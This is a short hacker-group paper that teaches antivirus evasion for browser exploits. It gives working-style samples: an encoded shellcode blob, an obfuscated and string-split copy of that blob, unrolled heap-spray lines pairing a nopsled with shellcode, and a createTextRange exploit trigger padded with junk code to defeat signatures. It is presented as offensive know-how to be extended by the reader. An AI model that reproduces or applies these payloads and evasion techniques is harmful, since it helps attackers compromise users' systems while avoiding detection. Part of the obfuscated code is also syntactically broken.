EVADING AV SIGNATURES--DERAILING ANTI VIRUS

RESEARCH TEAM: LEGION OF XTREMERS, INDIA

SPECIAL GREETS TO: SECFENCE TEAM AND GARAGE 4 HACKERS

The perimeter defence (antivirus) is still considered fullproof measure by most of people in virtual world. Such an assumption is fatal and can lead to more sophisticated compromise of systems.

Note: In my last paper, "Heap spray -- Slipping CPU To Our Pocket" I used some example exploits, and most of people said that these things are getting caught in antivirus. But I already said that do some R&D and you can develop the neat and clean exploits. So in this paper, I will use same examples.

Some of the strategies of antivirus and ways to evade them are discussed in this paper.

Strategy:

1. Hostile code will try to execute itself as-fast-as it can: Bad-bad strategy.

Interesting strategy, as most of the viral code try to execute and infect as-fast-as it can when it grabs the execution. Such a strategy can be evaded using sleeps, timeouts or delays.

2. Code size, as-small-as-possible: This strategy leads to assumption that a viral code, might employ smallest possible variable, function names etc. and will lack spaces and tabs.
Again u can evade such an assumption easily by introducing spaces, tabs an breaking longer strings.

Shellcode or any data or string can be directed into several smaller chunks.
For examples:

```
var
shellcode=unescape('%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%u
db33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u
9014%u1de8%u759c%u0fd9%ufefa%u8048%u5288%u6b61%u46dc%u19f2%u69c9%u
94b3%u442f%u1944%u0af0%u3b86%u508c%u9bdb%u9bad%udd2e%uc1ea%u8fc1%u
8ea3%u2070%ud2c7%u4148%u5907%u39f0%u9d22%uf385%ucd2d%u8f36%uf566%u
d73d%u0456%u0b91%u4faa%uf89e%u4e58%u3176%u61a0%u9eb6%u4e9f%ude3b%u
68d8%u95a4%u8b12%uae59%uf6e0%u3b85%u50f5%u9b4d%u61dd%u7a82%u6d95%
u086f%u71f1%udd6e%u8d89%ue0fb%u045d%uc6bf%u4d79%u661b%u2bdb%u97ca%
u933b%u3db3%u3137%u44a7%u5f1a%uc436%u2620%ud638%u082a%ue751%uc7a1
%uf826%uac63%u1ac9%ud8a6%u8361%u6123%u34ec%ua59e%ub709%u552b%ua7ee
%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u7ed6%ud357%ue537%u76df%u4148'
)
```

can Also be transformed into:

```
var missindia = unescape(/*hi how are you*/'%u9090%u9'/*oh something, somewhere is
losing*/+ '090%u90' +'90%u9090%uc' + /*jaijeya! ji*/'eba%u'+ '11fa%'+
'u291f%ub1c9%ud' +' b33%ud9ce%' +' u2474%' +' u5ef4%u56'+ '31%u030e%u' +
'0e56%u0883%uf3' + 'fe%u68ea%u7' +
'a17%u9014%u'/* but who is the one who is losing*/ + "1de8%u759c%u0" +
'fd9%ufefa%' /*again dont ask me*/+ 'u8048%u5288%u'+ '6b61%u46dc%u19f2%u6'
+'9c9%u94b3%u442f%'+ 'u1944%u0af0%u'+ '3b86%u508c'+ '%u9bdb%u9bad%udd'+
'2e%uc1ea%u8fc' +
"1%u8ea3%u2070%"+ "ud2c7%u4148%u59"+ '07%u39f0%u9d22%uf' +
'385%ucd2d%u8f'+ "36%uf566%ud73d%u0456%u"+ '0b91%u4faa%uf89e%u4'+
'e58%u3176%u61a'+ '0%u9eb6%u4e9f%ude3'+ 'b%u68d8%u95a4%u8b1'+
'2%uae59%uf6e0%u3b85'+
'%u50f5%u9b4d%u61'+ 'dd%u7a82%u6d9'+ '5%u086f%u71f1%udd'+ '6e%u8d89%' +
'ue0fb%u045d%uc' + '6bf%u4d79%u661b%u2b'+ 'db%u97ca%u933b%u3db3%u313'
+'7%u44a7%u5f1a%uc4'+ "36%u2620%ud638%" + 'u082a%ue751%uc7a1%u' +
"f826%uac63%u1ac9%" + "ud8a6%u8361%u61" + '23%u34ec%ua59e%ub709'+
'%u552b%ua7ee%u5059%u'+ 6faa%u28b1%u05a3%'+ 'u9fb5%u0fc4%u'+
'7ed6%ud357%ue5'+ '37%u76df%u4148');
```

3. Long lasting Loops: essence of exploits: Again bad, bad strategy.

Loops can eat up resources like CPU and task schedular manager whenever sights the presence of any loop, it allocates more CPU time slice to the host process.
This is easiest signature for getting caught. Like this one in heap spray article.

```
for(i=0;i<1000;i++){spray[i]=nopsled+shellcode;}
```

This can be broken into smaller loops like:

```
for(i=0;i<100;i++){spray[i]=nopsled+shellcode;}

for(i=100;i<200;i++){spray[i]=nopsled+shellcode;}

---
---
```

```
---

for(i=950;i<1000;i++){spray[i] = nopsled + shellcode; }
```

But why should you use the loop, if you can do without it like:

```
var i = 0;
spray[i] = nopsled + shellcode;i++
spray[i] = nopsled + shellcode;i++
spray[i] = nopsled + shellcode;i++
spray[i] = nopsled + shellcode;i++

------
----
```

thousand lines of such code.

Otherwise:

```
spray[0] = nopsled + shellcode;
spray[1] = nopsled + shellcode;
spray[2] = nopsled + shellcode;
spray[3] = nopsled + shellcode;
---
---
---
spray[999] = nopsled + shellcode;
```

The best practice will be:

```
function somefunc() {
var somevar = document.cookie;
}
var vhold;
spray[0] = nopsled + shellcode;
vhold = setTimeout("somefunc()",50);
spray[1] = nopsled + shellcode;

------
------
```

and like that.

4. Followup code signature: This kind of strategy makes antivirus believe that an exploit will always execute a certain fixed instruction. again bad-bad strategy.

E.g. most antivirus will detect following vulnerability:

```
<!-------------------->
<input type="checkbox" id='checkid'>
<script type=text/javascript language=javascript>
a=document.getElementById('checkid');
b=a.createTextRange();
</script>
<!-------------------->
```

But, if we'll insert some junk code into it, then same antivirus, will not detect it as a threat as in following code:

```
<!-------------------->
<input type="checkbox" id='checkid'>
<script type=text/javascript language=javascript>
function doit() {
var asdragger = document.cookie + "hi all";
}
a=document.getElementById('checkid');
var grabit = setTimeout("doit()",1000);
var memc = navigator.appVersion;
b=a.createTextRange();
</script>
<!-------------------->
```

Employing all these techniques, u can also develop a code scrambler and after employing all these techniques and further scrambling the The antivirus evasion is possible.

There exists more techniques, which if employed including all above listed countermeasures, all the antivirus with even latest ever updates can also be evaded successfully. Just a little more research from urside is needed.So u just saw that perimeter security can be even thwarted by fooling the antivirus, thats why it is called foolproof security

Thanks...**"Legion Of XTRemers--security, penetration, virology"**